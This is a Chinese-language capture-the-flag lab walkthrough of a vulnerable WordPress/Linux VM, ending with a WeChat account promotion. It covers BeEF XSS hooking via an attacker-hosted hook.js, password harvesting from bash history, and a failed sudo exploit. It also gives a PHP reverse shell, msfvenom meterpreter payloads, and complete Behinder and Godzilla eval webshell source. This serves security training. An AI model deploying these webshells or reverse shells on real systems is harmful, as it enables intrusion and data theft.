4. 进行键盘记录、截图、内网探测等攻击

场景假设: 你只知道 https://192.168.201.148:12380,刚发现这个页面有 XSS。

第一步:信息收集,确认 XSS 存在

访问 https://192.168.201.148:12380/admin112233/ 已经弹窗,说明是存储型 XSS,payload 已经在页面里了。

第二步:启动 BeEF

# Kali 启动 BeEF
cd /usr/share/beef-xss
./beef

# 或者
beef-xss

启动后访问 BeEF 控制台:

http://127.0.0.1:3000/ui/panel
# 默认账密 beef:beef

先访问本地测试 http://127.0.0.1:3000/demos/basic.html 看有没有上线

第三步:构造 hook URL

BeEF 的 hook 脚本地址:

http://172.168.169.128:3000/hook.js

第四步:想办法把 hook 注入到靶机页面

这里是关键,有几种方式:

方式一 — 如果页面本身有输入框,直接注入:

<script src="http://192.168.45.187:3000/hook.js"></script>

这里开个上帝视角用SHayslett账户查看这个admin112233的主页写的是什么,发现是root的不能改,作罢。

方式二 — 利用 WordPress(12380 上有博客):

1. 用已破解的 WordPress 账号登录后台
2. 在文章/评论/小工具里注入 hook.js
3. 等管理员访问

提示评论等待管理员审核。

方式三 — 这个 /admin112233/ 页面本身已经有 XSS,说明可能有输入点,扫一下:

# 用 nikto 扫 12380
nikto -h https://192.168.201.148:12380 -ssl

# 或者 gobuster 跑目录
gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k

第五步:受害者触发后 BeEF 控制

这里我假装John(密码是从[[#获得blog博客系统的用户密码]] 爆破的),因为在名单的第一个,目测是管理员来模拟受害者点击xss的效果

不过似乎没用。所以我直接修改admin112233的index.html 来验证。

修改 index.html 注入 BeEF hook

# 这里用的root账户,只是为了验证和模拟,实战的时候要看有没有权限修改
cat > /var/www/https/admin112233/index.html << 'EOF'
<html>
<head>
<title>mwwhahahah</title>
<body>
<noscript>Give yourself a cookie! Javascript didn't run =)</noscript>
<script type="text/javascript">
window.alert("This could of been a BeEF-XSS hook ;)");
</script>
<script src="http://192.168.45.187:3000/hook.js"></script>
</body>
</html>
EOF

模拟受害者访问(在 Kali 浏览器里访问)https://192.168.201.148:12380/admin112233/ 忽略证书警告继续访问,BeEF 控制台就会出现一个上线的 zombie。注意页面是 https 但 hook.js 是 http,浏览器可能会因为混合内容拦截,需要在浏览器地址栏点击允许加载不安全内容,或者把 hook 也改成 https。

如果还是不行就修改浏览器配置,这一步还是模拟受害者浏览器设置的不安全

# Firefox 地址栏输入
about:config 
# 搜索 
security.mixed_content.block_active_content 
# 改为 false

一旦有浏览器访问了含 hook.js 的页面,BeEF 控制台会显示上线的 zombie,然后可以:

Commands 面板可执行:
├── 获取 Cookie(结合 HttpOnly 判断是否可窃取)
├── 键盘记录
├── 截图
├── 探测内网(扫描内网其他主机)
├── 获取浏览器信息、已保存密码
├── 社工弹窗(伪造登录框骗取凭据)
└── 重定向到钓鱼页面

在这个靶机的实际价值:

XSS → 窃取管理员 Cookie
     → 用 Cookie 伪造管理员登录 WordPress 后台
     → 后台上传恶意插件/主题 → webshell
     → 从 www-data 开始提权

这是一条完整的 XSS → RCE 链,不需要任何初始凭据。

不过目前因为是靶机,所以就是自娱自乐,攻击者和受害者都是我自己扮演的。

看看是哪个大冤种明文登录ssh

grep -r "sshpass" /home/*/.bash_history 2>/dev/null

输出会直接显示文件路径,例如 /home/someuser/.bash_history:sshpass -p ...,路径里的用户名就是泄露者。

也可以更全面地搜:

grep -r "sshpass\|password\|passwd" /home/*/.bash_history 2>/dev/null

就是你 JKanode 啊,哈哈哈哈!.bash_history 已经看完了,还可以翻这些:

# 最近登录记录
last JKanode

# 登录失败记录
lastb JKanode 2>/dev/null

# 最后一次登录时间
lastlog | grep JKanode

# 当前/最近的终端活动
who
w

# 进程历史(如果有审计)
cat /var/log/auth.log | grep JKanode

不过从 .bash_history 已经能看出这个用户的问题了 — 把密码直接明文写在命令行里(sshpass -p),这在真实环境里是严重的操作安全失误,密码会永久保存在 history 文件里,并且 ps aux 执行期间其他用户也能看到进程参数里的明文密码。

后面[[#提权root的方法]] 提权后看到的

ps aux 里有几个很有意思的发现:

1. root 在跑 nc 监听 666 端口

root  1515  nc -nlvp 666

直接连过去可能就是 root shell:

nc 127.0.0.1 666

2. root 在跑两个可疑脚本

root  1501  /bin/bash /root/python.sh
root  1503  /bin/bash /usr/local/src/nc.sh

如果能读/写这两个脚本就可以提权,看看权限:

ls -al /usr/local/src/nc.sh
cat /usr/local/src/nc.sh

后面[[#666端口发现]]也看了就一个没用的图片

3. JKanode 从没登录过(Never logged in

但他的家目录在跑 SimpleHTTPServer 8888,说明是 root 以他的身份启动的,这个账户是个”服务账户”,history 里的密码是别人操作留下的。

4. 开放的服务一览

  • :80 — php -S (www用户)
  • :8888 — python SimpleHTTPServer (JKanode)
  • :666 — nc root监听 ← 最可疑
  • sshd/vsftpd/smbd/mysql — 常规服务

优先试 666 端口。

666端口发现

针对未知服务的端口,可使用 nc 工具进行探测

nc 172.168.169.129 666

输出乱码,但是可以发现message2.jpg清晰字样

nc 192.168.179.149 666 > message_666
file message_666     //发现是一个zip压缩包
unzip message_666
查看message2.jpg

没什么用,就是出现一个新用户而已。但是后来linpeas审计之后发现配合定时任务是可用的。[[#666端口兔子洞变真洞]]

smb开放的文件夹

smbclient -N //172.168.169.129/tmp
smbclient -N //172.168.169.129/tmp

彩蛋一样的新用户

发现新用户 Barry

又发现一个新的人Abby,这个人没有出现在之前的ssh和ftp用户名之中。

同样新出现的人,还有标题里面的这个 Tim

不小心吃了一嘴狗粮,草

Hello Dolly 是 WordPress 默认自带的彩蛋插件,Matt Mullenweg(WordPress 创始人)亲自写的,每次进后台都会在右上角随机显示一句歌词。

还tm真有

Akismet 插件XSS漏洞

这两个洞都是存储型 XSS,但实际价值有限,分析一下:

37902.php — legacy.php XSS

# 直接运行,目标是 WordPress 评论区注入
php 37902.php 172.168.169.131:12380/blogblog

原理是向 /wp-content/plugins/akismet/legacy.php POST 一个含 XSS payload 的请求,payload 会存储在评论里,管理员审核评论时触发。

30036.html — 后台配置页 XSS

这个需要管理员权限才能访问 /wp-admin/plugins.php,直接在浏览器打开这个 html 文件然后提交表单,触发后台 XSS。

实际情况:

# 先确认 legacy.php 是否存在
curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php

插件目录返回 403,legacy.php 可能不存在(新版本已移除),这个洞基本没法利用。

对这个靶机意义不大的原因:

你已经有 root,这两个 XSS 的最终目标也不过是窃取管理员 Cookie 然后登录后台,远不如直接用之前的 advanced-video-embed 插件洞(任意文件读取)来得直接,那个洞可以直接读 wp-config.php 拿数据库密码。

继续跑 39646.py 那条路更有价值。

shortcode-ui 和 two-factor 插件没有符合的洞

没有符合的洞可用

搜索框sql注入失败

提权CVE-2021-3156漏洞失败

从linpeas 跑出来的结果中丢AI审计的,malloc(): memory corruption + core dump = 漏洞存在,可以利用:

# 下载 PoC
wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip
unzip baron.zip
cd CVE-2021-3156-main
# 这个靶机是 i386 架构,选对应版本
python3 exploit_nss.py

glibc 版本太低(Ubuntu 16.04 用的是 2.23),这个 PoC 不适用,换一个不依赖 tcache 的版本:

bash

# 换 blasty 的版本
wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip
unzip blasty.zip
cd CVE-2021-3156-main
make

运行时需要指定目标系统:

bash

./sudo-hax-me-a-sandwich
# 会列出支持的目标列表,找 Ubuntu 16.04 对应的编号
./sudo-hax-me-a-sandwich 0  # 0换成对应编号

没有对应的预设目标,Ubuntu 16.04 + sudo 1.8.16 不在列表里,手动模式需要精确计算偏移量,比较麻烦。

直接放弃这条路,这台靶机 CVE-2021-3156 实际上打不通,原因:

  • glibc 2.23 太旧,tcache 版不行
  • blasty 版没有 Ubuntu 16.04 的预设偏移
  • 手动计算偏移需要本地调试环境

WebShell 的常用姿势

1. 反弹 Shell(已用过)

cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

2. Webacoo

# 安装
apt install webacoo -y

# 生成加密 webshell
webacoo -g -o shell.php

# 连接
webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php

特点:流量经过 base64 编码,绕过简单 WAF。

3. Weevely

# 生成
weevely generate hacker123 shell.php

# 连接
weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123

特点:流量混淆,功能强大,自带文件管理/端口扫描/提权建议等模块。

4. MSF 生成

# 生成 meterpreter 反弹 shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=172.168.169.128 LPORT=4444 \
  -f raw > shell.php

# MSF 开监听
msfconsole -q -x "use multi/handler; \
  set payload php/meterpreter/reverse_tcp; \
  set LHOST 172.168.169.128; \
  set LPORT 4444; run"

特点:拿到 meterpreter session,功能最强,可直接联动后续提权模块。

5. 冰蝎(Behinder)

# 冰蝎生成的 PHP shell 固定模板
cat > shell.php << 'EOF'
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
    $t="base64_decode";
    $post=$t($post."");
    for($i=0;$i<strlen($post);$i++){
        $post[$i]=$post[$i]^$key[$i+1&15];
    }
}else{
    $post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p){eval($p);}}
@new C($params);
?>
EOF

连接时用冰蝎客户端,密钥默认 e45e329feb5d925b,流量 AES 加密,绕过 WAF 能力最强。

6. 哥斯拉(Godzilla)

cat > shell.php << 'EOF'
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c=$K[$i+1&15];
        $D[$i]=$D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if(isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if(isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if(stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
EOF

各工具对比:

工具流量特征功能适用场景
反弹Shell明文基础快速拿shell
Weevely混淆中等有WAF环境
Webacoobase64中等简单绕过
MSF可加密最强需要后续提权
冰蝎AES加密企业WAF环境
哥斯拉XOR加密国内靶场常用

踩坑

Nmap网络波动问题漏扫

/var/www/http 网站文件夹下明明有网页的文件

但是网站无论怎么刷新就是没有,拼接了目录也不行,所以我怀疑是nmap扫漏了端口。

重新扫一下就发现了新端口,其中12380就是网页

点开看网页的源代码,对比就是一个,确定12380端口就是/var/www/http 网站文件夹下的网站

总结

入侵路径示意图

flowchart TD
    %% 资产列表
    A[Kali攻击机]
    B[靶机]
    C[21端口:FTP泄露用户名]
    
    D[elly的FTP账户]
    E[22端口:SHayslettssh账户]
    F[peter的高权限账户]
    G[root]
    H[139端口:smb服务]
    I[3306端口:mysql服务/12380端口:phpmyadmin服务]
    K[12380端口:Blog博客系统]
    L[定时任务]
    M[666端口:nc服务]

    
    %% 路径关系
    A-->|扫描|B
    B-->|FTP匿名用户登录|C
    C-->|hydra爆破|D
    D-->|ftp下passwd文件泄露用户名hydra爆破|E
    E-->|历史命令泄露密码|F
    F-->|sudo -s直接提权|G
    B-->H-->|smb枚举泄露账户名hydra爆破|E
    E-->|浏览www配置文件发现数据库密码|I
    I-->|数据库密码john爆破|K
    E-->|CVE-2016-4557内核漏洞提权|G
    E-->|CVE-2021-4034内核漏洞提权|G
    E-->L-->|logrotate写入权限|G
    B-->I
    B-->K
    

    K -->|advanced-video插件漏洞LFI获取wpconfig<br>无需登录|I
    K -->|advanced-video插件漏洞LFI获取passwd<br>无需登录| E
    K -->|WP后台上传反弹shell|F
    I-->|mysql写入一句话木马|E
    E-->|linpeas审计代码发现nc服务的运行逻辑|M
    L-->|logrotate修改nc服务逻辑|M-->G
    
	%% 线型:---(实线)、-.->(虚线)、==>(粗箭头)
	%% -->|是|:带条件文本的连接
	%% 矩形节点[ ],菱形决策节点{ },圆弧方节点()
    %% 样式定义
    classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
    classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
    classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
    %% 线型与颜色方案(亮色/暗色通用)
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

    %% 应用样式
	 A:::attack
	 B:::public
	 C:::public
	 K:::public
	 H:::public
	 D:::public
	 E:::internal
	 F:::internal
	 G:::internal
	 I:::public
	 L:::internal
	 M:::public

Structured Red Team Flow-2026-03-16-054912.png

入侵时间表

gantt
    title 攻击时间表
    dateFormat  YYYY-MM-DD HH:mm
    axisFormat  %m/%d %H:%M
    
    section 侦察阶段
    目标扫描           :a1, 2026-03-14 11:11, 2026-03-14 11:30
    漏洞识别           :a2, after a1,  2026-03-14 14:37

    
    section 攻击阶段
    初始访问           :crit, b1, after a2,  2026-03-14 15:09
    权限提升           :milestone, b2, after b1, 2026-03-14 15:13

14号速通靶机后一直在复盘,这个靶机真的是越摸越有,一直盘到16号13点47分


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

推荐阅读


OSCP